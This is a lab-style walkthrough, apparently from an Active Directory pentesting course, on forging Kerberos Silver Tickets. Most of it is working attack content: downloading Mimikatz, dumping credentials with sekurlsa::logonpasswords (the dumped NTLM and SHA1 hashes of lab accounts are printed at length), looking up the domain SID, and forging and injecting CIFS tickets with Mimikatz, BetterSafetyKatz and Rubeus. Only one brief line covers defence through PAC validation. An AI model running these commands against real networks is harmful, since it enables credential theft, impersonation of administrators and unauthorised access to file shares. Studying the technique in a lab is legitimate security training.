8.2 - Silver Ticket

Silver Ticket (TGS Forgery)

A Silver Ticket is a forged Ticket Granting Service (TGS) ticket. Unlike a Golden Ticket (which is a TGT signed by the krbtgt hash), a Silver Ticket is signed and encrypted using the hash of a service account (such as HOST, CIFS, HTTP, etc.).

Key Characteristics

• Signed using the service account hash (e.g., the machine account of the server offering the service).

• Valid only for the specific service (not valid for Kerberos authentication in general like a TGT).

• Most services do not validate the PAC (Privileged Attribute Certificate), so a forged TGS is often accepted.

• No contact with a Domain Controller is needed to use a Silver Ticket, it can be forged offline, which makes it stealthier.

• Silver Tickets can be used for long-term persistence, especially when targeting services tied to computer accounts (valid for 30 days by default).

To create a silver ticket we need the following requirements:

1. Domain name

2. Domain SID

3. SPN of the service to attack

4. NTLM hash of the service account to attack

5. Privilege Account Certificate (PAC) validation is disabled

Differences between Golden and SIlver tickets

• Golden ticket requires NTLM hash of the KRBTGT account, while Silver ticket requires NTLM hash of a service account

• Silver ticket can be forged offline without prior communication with the KDC/AS.

---

Attack Worflow

1. Attacker obtains NTLM password hash of a service account

2. Using the NTLM hash, a malicious TGS is created, bypassing normal Kerberos flow

3. Using the forged ticket it becomes possible to authenticate to the service.

---

1 - Leak NTLM hash of a service account

Mimikatz

Download and extract Mimikatz:

iwr -uri https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -Outfile mimikatz_trunk.zip
Expand-Archive -Path 'mimikatz_trunk.zip'
cd .\mimikatz_trunk\
cd .\x64\

and run it to leak the NTLM hash of the machine account:

.\mimikatz.exe
privilege::debug

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 280701 (00000000:0004487d)
Session           : Interactive from 1
User Name         : Administrator
Domain            : DEV-ANGELIST
Logon Server      : CORP-DC
Logon Time        : 5/31/2025 11:43:37 AM
SID               : S-1-5-21-1954621190-1971745961-1283776715-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : DEV-ANGELIST
         * NTLM     : 2777b7fec870e04dda00cd7260f7bee6
         * SHA1     : bae5c6e0d089a87a81392648a12415c937464543
         * DPAPI    : bd82cf5725e18a97d85f28574f5f121e
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : DEV-ANGELIST.LAB
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORP-DC$
Domain            : DEV-ANGELIST
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : corp-dc$
         * Domain   : DEV-ANGELIST.LAB
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 28976 (00000000:00007130)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 26207 (00000000:0000665f)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:17 AM
SID               :
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:30 AM
SID               : S-1-5-17
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 45933 (00000000:0000b36d)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 45883 (00000000:0000b33b)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 28965 (00000000:00007125)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-96-0-0
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 28951 (00000000:00007117)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-96-0-0
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 28937 (00000000:00007109)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:19 AM
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * NTLM     : 11bc07660f7c9a2d8f7cead855b8c72b
         * SHA1     : 31564384304c59f6108021d2d7ae67f6dab91dfc
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : CORP-DC$
         * Domain   : dev-angelist.lab
         * Password : e8 f2 da 01 eb d3 35 6d 27 73 f8 7c 18 62 4f c7 72 b0 7e 47 43 3b e4 8c ac f5 fc 8b d7 8d 95 be 27 ed 3e 29 4b bb 1d d8 6b 31 10 06 10 29 6c d5 cf e8 65 58 91 12 da d5 c0 a0 58 c0 f6 02 51 3b a3 0c 3b f9 2e d3 ee d0 de 8b aa 71 b9 63 99 89 37 b4 7c 99 88 09 5f a8 2c c6 fc 3e b2 f8 f8 38 e4 45 16 03 43 27 bc 5e 9a 96 7e 2b 99 71 71 64 74 3b b9 c4 1a 1b 51 06 17 2e 13 a1 de 06 8d 3e 1e c4 a5 7a 7f ba 95 c5 4d 20 97 a4 d2 1f 1c 9b ff c3 85 2b a3 15 98 cc e2 9a cb 9f cc 1c 42 da ae a3 d0 d8 d1 da 50 00 6d f7 ad 92 f7 a3 40 63 35 b2 b4 b0 6f e8 0c 92 87 c0 82 b7 c0 7a dd a9 82 d9 c9 8f 8e f8 5b a3 d7 4f 2c 5f 83 81 f6 9e 64 35 d1 fe fa 12 59 b9 86 59 25 27 42 c1 72 7d 8a fe c5 66 e5 5c ae 01 05 75 1d 74 6f b6 b0 29
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CORP-DC$
Domain            : DEV-ANGELIST
Logon Server      : (null)
Logon Time        : 5/31/2025 11:42:17 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : CORP-DC$
         * Domain   : DEV-ANGELIST
         * Password : (null)
        kerberos :
         * Username : corp-dc$
         * Domain   : DEV-ANGELIST.LAB
         * Password : (null)
        ssp :
        credman :

CORP-DC's NTLM Hash: 11bc07660f7c9a2d8f7cead855b8c72b

Using SafetyKatz:

C:\Users\Administrator\Documents\Tools\SafetyKatz.exe "sekurlsa::logonpasswords"

2 - Obtain Domain SID

Enumerate domain SID

lookupsid.py 'Administrator:P@$$W0rd'@192.168.57.9

or if we've already an access to machine (eg. reverse shell) we can execute whoami /user (excluding the last 4 chars, eg. -500): S-1-5-21-1954621190-1971745961-1283776715

User Name                  SID
========================== =============================================
dev-angelist\administrator S-1-5-21-1954621190-1971745961-1283776715-500

3 - Forge the Silver ticket

Actually, we've all info needed to forge the Silver ticket. Let's assume we've a low privileged access to a workstation joined into the domain, in my case i log into: dev-angelist\devan's account.

whoami
hostname
dir \\corp-dc.dev-angelist.lab\SharedFiles

and consider that there's a SMB share at corp-dc.dev-angelist.lab/SharedFiles which contains a file named secrets.txt, we aren't able to access it:

Let's download Mimikatz on our devan's machine to generate a new Silver ticket which give us access to Shared folder with administrative right:

Download and extract Mimikatz:

iwr -uri https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -Outfile mimikatz_trunk.zip
Expand-Archive -Path 'mimikatz_trunk.zip'
cd .\mimikatz_trunk\
#Win32 Folder in this case, because this machine is 32bit

Generate a Silver ticket (kerberos::golden regards Silver ticket in this case), the command below contain all requirements needed:

• Domain name -> dev-angelist.lab

• Domain SID -> S-1-5-21-1954621190-1971745961-1283776715

• Target -> corp-dc.dev-angelist.lab

• NTLM hash of the machine account -> 11bc07660f7c9a2d8f7cead855b8c72b

• Service name -> Cifs

• id -> 500 (administrator id)

kerberos::golden /sid:<SID_Value> /domain:<Domain_Value> /target:<Target_Value> /service:cifs /rc4:<NTLM_Machine> /user:administrator /id:<ID_Value> /ptt

kerberos::golden /sid:S-1-5-21-1954621190-1971745961-1283776715 /domain:dev-angelist.lab /target:corp-dc.dev-angelist.lab /service:cifs /rc4:11bc07660f7c9a2d8f7cead855b8c72b /user:Administrator /id:500 /ptt

Exit to mimikatz and check the ticket using klist:

Add DC host info: 192.168.57.9 corp-dc.dev-angelist.lab corp-dc into hosts file (opening notepad as administrator)

Now, we can retry to access SharedFiles and see secret.txt file:

dir \\corp-dc.dev-angelist.lab\SharedFiles
more \\corp-dc.dev-angelist.lab\SharedFiles\secret.txt

Using Safetykatz

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local /service:CIFS /rc4:e9bb4c3d1327e29093dfecab8c2676f6 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"

It's possibile to forge TGS tickets for other services as well (e.g., HOST, RPCSS, HTTP, etc.) as long as you have the corresponding service account hash.

---

Parameters Explained (Mimikatz Syntax)

Option	Description
kerberos::golden	Mimikatz module used to forge the ticket. There is no silver module—Silver Ticket is technically a forged TGS.
/user:Administrator	The user to impersonate.
/domain:dollarcorp.moneycorp.local	FQDN of the target domain.
/sid:S-1-5-21-...	SID of the domain.
/target:dcorp-dc.dollarcorp.moneycorp.local	FQDN of the target server hosting the service.
/service:CIFS	Service Principal Name (SPN) to forge the TGS for.
/rc4:<hash> or /aes256:<key>	Hash or AES key of the service account.
/id, /groups	Optional: RID and group IDs of the user.
/startoffset:0	When the ticket becomes valid (in minutes from now; 0 = now). Use negative for backdating.
/endin:600	Ticket lifetime in minutes (default = 600 mins = 10 hours).
/renewmax:10080	Maximum renewable lifetime in minutes (default = 7 days).
/ptt	Inject the ticket into the current process. No need to write to disk.

---

Using Rubeus

C:\AD\Tools\Rubeus.exe silver /service:http/dcorp-dc.dollarcorp.moneycorp.local /rc4:6e58e06e07588123319fe02feeab775d /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt

Rubeus.exe asktgs /user:Administrator /rc4:e9bb4c3d1327e29093dfecab8c2676f6 /domain:dollarcorp.moneycorp.local /service:cifs/dcorp-dc.dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /ptt

To protect against this attacks:

• Enable PAC validation with the domain controller, because PAC represents a critical section af a Kerberos ticket that contains info about the user requesting ticket (User SID, Group membership, User rights and privileges and authorization data).

Other References

• List of SPNs: https://adsecurity.org/?page_id=183

Labs

• Learning Object 9 lab